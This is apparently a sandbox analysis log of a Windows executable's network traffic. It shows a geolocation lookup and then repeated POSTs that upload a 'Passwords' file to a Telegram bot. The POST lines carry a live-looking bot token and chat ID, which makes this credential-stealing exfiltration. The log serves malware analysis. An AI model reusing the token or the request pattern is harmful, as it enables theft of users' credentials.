Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Sun, 08 Dec 2024 21:14:15 GMT Date: Fri, 10 Jan 2025 22:38:52 GMT Expires: Fri, 10 Jan 2025 22:38:52 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=11wqpA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-10 22:38:52 UTC	4939	IN	Data Raw: 34 5f 96 bc 41 80 20 30 32 7f c9 8a 1a fc 98 53 dc ab 0f 27 43 a3 b4 7a 0d 4b eb 7e 1d 2d ae 6c 31 81 80 70 25 15 0b fa b5 16 65 c1 ce 98 29 ed 38 00 8f 80 f0 db 3d 73 dd 4b e1 19 a3 fa 4a 2b b9 2f 91 5d 5c 02 b4 2e 85 df af ef 26 40 41 df df fd 52 43 29 4a ce 7d 88 e5 e4 60 80 b6 27 27 6f 4e 2d 7a 46 4b cd 0e 50 5d 38 f3 77 ae 71 c5 51 43 4c 20 df 43 37 78 25 ae b3 8e 54 07 75 88 23 e5 8a d5 a2 96 30 e0 1e 66 2f e4 40 8e 0b 81 80 79 31 56 86 cd c3 ae f2 6d 54 a9 c7 9e 8d 04 c4 52 72 da 3a 3b b1 2f 57 85 fc c5 1f e7 ae e2 06 6c 6b 21 e6 02 c0 40 62 4b 50 9b 91 c5 cd 4a 6e e9 f3 c7 43 22 59 32 df e5 db 51 e6 26 1b c9 9d 89 e1 67 fb 96 4c b1 39 fd c7 a9 2c 4f 5c 40 eb ff 53 08 c6 d8 9a b0 9d 45 d5 1a af b3 e0 51 9d 44 f6 20 93 64 a9 3f 0e ed a9 67 78 3d 99 Data Ascii: 4_A 02S'CzK~-l1p%e)8=sKJ+/]\.&@ARC)J}`''oN-zFKP]8wqQCL C7x%Tu#0f/@y1VmTRr:;/Wlk!@bKPJnC"Y2Q&gL9,O\@SEQD d?gx=
2025-01-10 22:38:52 UTC	4821	IN	Data Raw: a0 f1 7d e4 e0 cb c3 54 14 a0 f3 8b 6b 00 63 36 1c 80 37 c9 87 7c d1 6b 39 88 d2 75 e1 67 32 bc a1 fd f8 4e a0 2c 69 30 c6 0a 27 9a 46 e7 96 c1 a6 d5 fa 83 4a 52 c7 2e 08 fc d1 e5 9d 03 2d 71 43 05 ed 0c 9b 9b b8 ba 23 81 f9 5f ce 4d f4 a9 1b b3 a7 66 75 f6 2b 3b d9 76 58 a6 ff 7c d0 8e 88 5e 17 c3 11 4f 17 5a 65 be 80 d3 71 96 2f 6a 8f 45 2b c3 1e 4f ad 53 e6 cf 6a 30 65 38 94 0b b2 3b 3f f9 c4 8f b8 b7 4b 9f 11 67 40 27 7b 7b e9 c6 f5 71 2d 46 9e b1 78 a9 bb fc 43 0a 9c 5a fd fd 60 ec 14 fc b1 b7 2f a3 90 48 9f 1c a7 30 70 2e 2d f0 e2 e4 2b 7b b2 33 4a 0a 49 bd a7 3b 0d f9 91 48 74 fd c1 58 bd 55 67 95 bd 1c fa 93 e1 90 70 d4 29 75 cf 61 7f 68 87 77 2c e5 17 81 f8 72 82 c6 3b 90 3e 8f b8 a0 52 8b d3 99 d9 14 14 26 76 0f 4f bd 78 cd 20 6c ed 42 26 25 6d Data Ascii: }Tkc67\|k9ug2N,i0'FJR.-qC#_Mfu+;vX\|^OZeq/jE+OSj0e8;?Kg@'{{q-FxCZ`/H0p.-+{3JI;HtXUgp)uahw,r;>R&vOx lB&%m
2025-01-10 22:38:52 UTC	1322	IN	Data Raw: a1 ab 2e 91 53 7b 36 95 8b 0c b9 1d 23 68 fd 73 12 87 0b c9 4f 0e d6 75 ac d5 21 a7 e0 6d 8f fa 94 a5 1c 24 ac d4 20 49 2d 6d 5e 6b cd e5 f2 9d 5c 4a 2f 3a 37 04 2b ad d5 1f e1 93 fb 70 a0 37 23 8f 5f 0f 48 6a ac 64 44 de 91 b5 aa 50 07 c5 84 e5 f7 80 6c b0 3d d2 9a b0 2c b7 58 b6 fa 39 00 61 66 2f 30 66 ad cf 37 ee 93 09 e7 64 f5 5b 5d 0e 2c a8 f9 2a a4 4e 2b b8 d1 96 26 bc 6d 3c 37 a0 9b 04 bc 50 63 cd e1 61 ec 96 ca 4b fa 1e ff e2 48 69 4a b2 5d 98 0f 0d 93 ef 5a f9 c8 8f b5 b4 21 55 42 85 cf 80 3b a0 75 01 57 53 0a a7 28 90 d9 83 e2 db c4 09 df 67 f9 7a 90 29 4a c4 7d c8 e5 e6 1b cc b6 27 23 11 1d 2d 7a 4c 63 99 0e 50 57 35 fa 64 a9 60 c2 7d 4e 4e 5b 93 43 37 7c 0d 7d b3 8e de 07 75 88 07 fa 30 c0 92 28 39 07 3e de 2e 8d 8d af 4e e9 eb 74 2c 26 f4 a6 Data Ascii: .S{6#hsOu!m$ I-m^k\J/:7+p7#_HjdDPl=,X9af/0f7d[],*N+&m<7PcaKHiJ]Z!UB;uWS(gz)J}'#-zLcPW5d`}NN[C7\|}u0(9>.Nt,&
2025-01-10 22:38:52 UTC	1390	IN	Data Raw: fb 0c 4d a9 ad 96 9c a0 a0 ac 5e 9e d3 ed 08 a6 0d 2f 13 d8 47 c3 65 6f 05 72 ed 98 38 25 6d 39 10 1a 07 ef f1 aa 15 38 88 c7 fe b2 62 b0 67 17 24 60 e9 b4 8a 72 1b ac d9 37 8e 2d 58 66 0d a7 5f 43 a0 45 2a 53 45 aa 46 81 01 4f 1d 88 f2 da c8 67 d9 69 6a ff 19 6f 4d 45 75 2f 3b 25 36 82 f1 df 22 1b 60 fc 88 9d 36 ae 34 30 0b df c3 2e 55 e4 59 16 10 22 75 dc ea 25 aa 3d d9 dd 8f d3 64 f0 ac 9f 97 fd 7e 85 82 d6 fa 1f fe 76 66 44 6b 43 a5 4a bd e1 fc 83 b8 85 8b 1c 54 9a f3 2d 02 19 d7 6d 68 4b 36 a2 2f 83 04 c6 b2 ce c4 87 d2 a5 fa 54 85 ca cc c2 0e 25 39 86 c8 1c 50 14 75 cd 13 4d 90 62 b9 28 36 ad 29 c0 b1 a6 87 f7 4a 41 e5 db e3 86 3c 06 69 0b a0 d8 39 e7 66 3d 1c f8 cf 7c 83 8b 40 03 90 ee 0a 8c 82 0c 7b d2 ba d4 bd 35 af 29 e1 d5 fa fc ca 6d 10 af f5 Data Ascii: M^/Geor8%m98bg$`r7-Xf_CE*SEFOgijoMEu/;%6"`640.UY"u%=d~vfDkCJT-mhK6/T%9PuMb(6)JA<i9f=\|@{5)m
2025-01-10 22:38:52 UTC	1390	IN	Data Raw: 1e db b7 51 bd 30 7a a9 25 d7 96 2c 8d aa e8 a6 5a ff d4 29 1c 38 4d 0f e3 94 bc 11 45 67 2f 92 0a 2d 7d 13 94 76 f5 99 e4 03 6e 64 42 63 e7 ff a1 40 3c a5 d0 b0 f8 7e 14 35 da 16 ed 60 8b 1b 79 35 74 1b 22 f5 2a 4e 6c 39 26 d2 41 c0 09 9a b9 2a 80 0d d7 2b cc e1 30 42 b1 90 7e 9c f0 0c b6 69 a5 31 4e e3 93 72 eb 6f 83 f6 98 d3 18 3c 54 f6 c3 54 ec 58 cd b9 25 71 4a d2 c8 aa 06 44 f1 78 e1 7d 7c e2 eb 35 ea 2c 77 dd 11 3b 3e 20 31 4a a6 06 94 e0 fb 6d b6 b3 41 1b 59 96 87 05 f0 17 22 f6 22 3c f5 14 23 74 38 c5 95 71 7f 64 36 3a c5 25 b4 55 e6 79 91 74 a1 65 ac 07 09 e1 82 50 8c 10 11 e3 4d 17 c1 8e 60 24 c8 e0 f3 d4 45 7a 28 c9 59 04 47 d5 33 ce aa 48 09 58 26 d1 79 7d ef 9f 73 15 ca 5b 0d 5a 4f 21 d7 9a 06 e3 a5 91 34 90 6a f7 da 51 0f fe 9d c2 78 e8 08 Data Ascii: Q0z%,Z)8MEg/-}vndBc@<~5`y5t"Nl9&A+0B~i1Nro<TTX%qJDx}\|5,w;> 1JmAY""<#t8qd6:%UytePM`$Ez(YG3HX&y}s[ZO!4jQx
2025-01-10 22:38:52 UTC	1390	IN	Data Raw: 5e ec b9 ec b0 b4 33 21 3a 85 c9 a0 13 f4 6e 31 5b 5f 10 b5 2e 81 ee af ef c8 bf 43 ad af e6 52 33 01 04 ce 7d c2 ee f2 ed d9 b6 27 26 63 49 05 82 46 4b c7 18 ae 5c 35 fa 64 ab 60 c0 7d 4a 58 33 db 43 0f a5 25 ae b3 8e a6 e5 6e 88 5d e4 43 22 a2 22 33 2a 17 24 2e a8 87 87 a4 e9 e9 00 02 20 e5 a4 cb 20 93 00 7e d9 ae db a0 7a b8 1d 6e bf 1a 43 ec 7b 77 ec 98 f6 52 b9 f4 b6 f6 03 0f 45 db 05 dc 40 29 b6 50 9b 9b d6 c6 5b 35 bf ff d6 03 0f 43 23 62 b0 50 e0 e6 2c 0c a6 62 89 e1 6d 74 96 4f b0 38 d4 fd a9 2c 23 51 40 eb f7 42 00 a9 58 9a b0 49 d3 d9 0b a2 be 50 8f 8a f5 ff 55 82 64 e9 3e 22 c0 b8 6f 0d 2e 99 c6 26 cc 3b ab 9b d5 8e e3 5d ef 3a 66 b1 13 09 98 72 2f 69 ee a7 45 8c 5b b2 20 77 48 03 11 4b 7b 20 40 5c 16 59 2d f6 18 e0 e0 22 b9 10 e7 bd 0d 4c 91 Data Ascii: ^3!:n1[_.CR3}'&cIFK\5d`}JX3C%n]C""3*$. ~znC{wRE@)P[5C#bP,bmtO8,#Q@BXIPUd>"o.&;]:fr/iE[ wHK{ @\Y-"L
2025-01-10 22:38:52 UTC	1390	IN	Data Raw: 87 f8 cf 77 3a 9e 5c 7d 32 ef 0a 86 c3 e8 6c c3 ca a4 7e 1d 77 23 43 fa 91 a2 09 6d 60 8d c9 69 a9 9e 91 54 93 f0 98 ea 02 fe f8 f4 2d 97 52 78 67 ad 87 e5 90 5b 17 4b 2f 1a ca 47 cb 44 94 ed 70 67 0a 8e f8 ff da 2e fc c9 6d d1 71 7a ed 55 f0 10 39 8e 1b dc 62 29 d9 16 a2 ae 61 e1 19 0c 94 7c cb 70 0a 3d 2b 02 4a de 26 42 b0 60 f7 a2 fa ba ca 31 9c 41 59 05 21 9f 8f 8e 51 65 b8 24 17 9d b5 15 5a fc 36 6c 04 fc 20 75 00 2d e5 31 3c 85 f6 e6 20 32 5c 37 1f 6c cc 58 79 f6 5a 0e 37 fc 8f 2e 6f 24 87 6d db d2 a4 17 6a 5a 8d 00 6b 11 f9 bf 47 e4 3a 92 8a 05 63 c7 f1 90 2a fb 87 97 f1 10 9d 08 b5 c0 d8 e1 d4 05 48 59 37 e9 ce 29 c6 22 e4 bf 9b d3 22 fd 0e 52 a7 b3 25 78 93 a8 79 b5 02 21 d6 49 03 51 6b 05 61 65 61 8f 03 04 15 44 c8 5e 40 26 77 58 3a 0c 10 b9 b8 Data Ascii: w:\}2l~w#Cm`iT-Rxg[K/GDpg.mqzU9b)a\|p=+J&B`1AY!Qe$Z6l u-1< 2\7lXyZ7.o$mjZkG:c*HY7)""R%xy!IQkaeaD^@&wX:
2025-01-10 22:38:52 UTC	1390	IN	Data Raw: 62 6b d8 1d 6d 07 d3 60 c0 4b 47 07 bc d2 2e e0 ae 82 28 8d 8c f3 da 2b 73 db 8d d4 00 42 86 ea d2 04 7c 7c 26 fb 84 78 db ab 27 d2 78 09 77 86 a3 7a 77 be d1 07 5a bb b4 1a d3 ba f3 f9 e0 97 76 f2 10 71 fd 1a 2d f8 e1 c3 bb 26 50 5c 18 08 15 40 ce 16 6a 39 3e 14 14 2f 28 a0 2d 53 5a fb 8e 23 0b ff 61 4c 7e 02 95 0d 4a 8f ca 5f b6 79 50 84 7e 4b 09 95 0b 7e 0d 31 ba 72 30 ea 81 ac 72 39 84 a9 78 10 61 3f d9 fc ee ed c8 dd bc 1f 71 89 e8 f0 0c 4f 71 01 04 67 bf 87 7d fe 7d 35 7c c6 75 95 ed 9c ab a8 55 dd 88 de 00 75 1c b1 a1 6d 82 57 e3 3e e4 60 79 af b3 62 11 65 0b 19 fe d0 47 90 4d 5f 5f 69 d8 8a ac b3 3b b8 ba 29 ec ec 21 c1 49 86 fb 01 be ff 3e 5d 77 21 bb dc 60 a6 a3 ec 79 d0 8c a6 93 05 c4 00 48 75 d0 5b 5e 74 3f 88 87 29 ca 81 60 03 f4 6d c2 a7 40 Data Ascii: bkm`KG.(+sB\|\|&x'xwzwZvq-&P\@j9>/(-SZ#aL~J_yP~K~1r0r9xa?qOqg}}5\|uUumW>`ybeGM__i;)!I>]w!`yHu[^t?)`m@
2025-01-10 22:38:52 UTC	1390	IN	Data Raw: 10 a4 55 9a 2e 58 3e 66 3f 03 31 44 12 3b 90 62 8e 5a 72 ef 14 f1 fd 09 e0 1b 42 65 0d 4c 9a 49 11 f5 e3 f1 54 45 fc 68 0b a3 11 ce 08 8f 4e 8e 9d 53 1d c7 09 b7 ba bd 80 9f c1 08 05 68 f0 4f 48 5b 48 e2 11 51 a0 50 3f c1 76 ce b8 f4 7e 42 d2 77 74 ad 56 b9 35 9f 4a 1c e5 4c 5b c2 7b 87 23 6b 59 51 a8 84 36 09 b6 49 24 26 ea 05 24 01 c5 77 3c 3b 4b f4 77 e0 c0 9d 1d 58 d1 cd 5c dd 44 87 c0 8a 58 5d 5e 02 40 13 55 e5 ea d3 aa 31 4d cd 74 3e c9 f7 db 8f 3c e1 da c0 1b 90 c3 cf 11 3b 2f 83 80 d2 e7 7a 83 2c e5 96 8a e7 81 a4 e3 39 06 45 65 61 eb f9 1c 94 99 5a b2 4b 29 ca af 75 73 61 08 77 38 d8 d1 26 e0 88 9e 61 81 41 07 08 6b ba 4e e2 b7 33 8c b5 b8 b1 95 69 c8 62 c6 ad 3d d6 88 91 9a b7 48 d7 a7 69 42 ab 8d 65 2b 2f d1 a3 92 6a c3 97 0a 27 26 08 09 e1 57 Data Ascii: U.X>f?1D;bZrBeLITEhNShOH[HQP?v~BwtV5JL[{#kYQ6I$&$w<;KwX\DX]^@U1Mt><;/z,9EeaZK)usaw8&aAkN3ib=HiBe+/j'&W
2025-01-10 22:38:52 UTC	1390	IN	Data Raw: fc 55 2b b5 04 44 57 49 03 71 02 a5 61 65 67 9c 06 04 17 40 ba bc 12 27 07 4e 78 8c 10 b9 a2 03 cc ad 73 3f 29 e0 33 84 0f 30 e4 35 67 d4 7f 57 ae 67 8a b5 e3 4a 5c 15 2d 5e c0 e7 84 32 31 67 c6 cb b2 6b ac b3 06 2f 18 38 93 d2 b8 f1 dc a5 af 26 f0 60 8b 5a ae 30 61 45 96 bd ea ea 31 0d 88 09 0b 26 8c bf 9e 5e 50 a1 3d 43 ba b5 27 99 08 02 a8 74 98 83 ff 8c 58 31 d6 0d c1 cc d7 61 d1 2f f5 81 f9 9e 81 20 f5 59 99 89 30 7b 81 5c d5 ce 60 6d 81 1c bb bb 87 80 ca 3f 18 9e df 28 f0 ed 01 5b 7f 91 79 bd 67 4a fb c9 08 8d 2d cf 64 c1 06 a1 5d fa 4f 66 6c ed d4 83 1f 67 00 2e 82 da 5a 95 96 60 8f 67 3a e9 1d 5d d1 76 9b 42 75 08 ba 8a 1f b8 71 62 44 eb 5f bd 91 09 b8 14 0b b9 2e ae ae 60 b6 e9 41 32 28 94 a3 05 21 ae d1 ae 0b 70 20 76 c1 c9 e7 fa ee 00 4d 5d a2 Data Ascii: U+DWIqaeg@'Nxs?)305gWgJ\-^21gk/8&`Z0aE1&^P=C'tX1a/ Y0{\`m?([ygJ-d]Oflg.Z`g:]vBuqbD_.`A2(!p vM]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49779	104.21.112.1	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:38:54 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 22:38:54 UTC	861	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:38:54 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1863523 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WQFgJeyZyBVodnJCI8BB7FQw9%2Bzg%2B3MJe78LjdGoF%2BQUrSh2%2Fh6z1YbLzq2w%2BVqx3Lvl0%2BghBYjtvsqtlUnY1W39GJLMChjAxlEVK9wY71D1PZq1vjLSWSKzAjHTCVSZOOsiWYGa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900028f87ee943b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1568&min_rtt=1561&rtt_var=601&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1799137&cwnd=203&unsent_bytes=0&cid=5260dd896d8aa67a&ts=158&x=0"
2025-01-10 22:38:54 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49821	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:01 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd319daa71bf0d Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:39:01 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 39 64 61 61 37 31 62 66 30 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd319daa71bf0dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:01 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:01 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:01 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 34 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43670,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548741,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49837	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:03 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31b560e03860 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:39:03 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 62 35 36 30 65 30 33 38 36 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31b560e03860Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:03 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:03 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 34 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43671,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548743,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49848	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:05 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31ca3ca070d5 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:39:05 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 63 61 33 63 61 30 37 30 64 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31ca3ca070d5Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:05 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:05 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 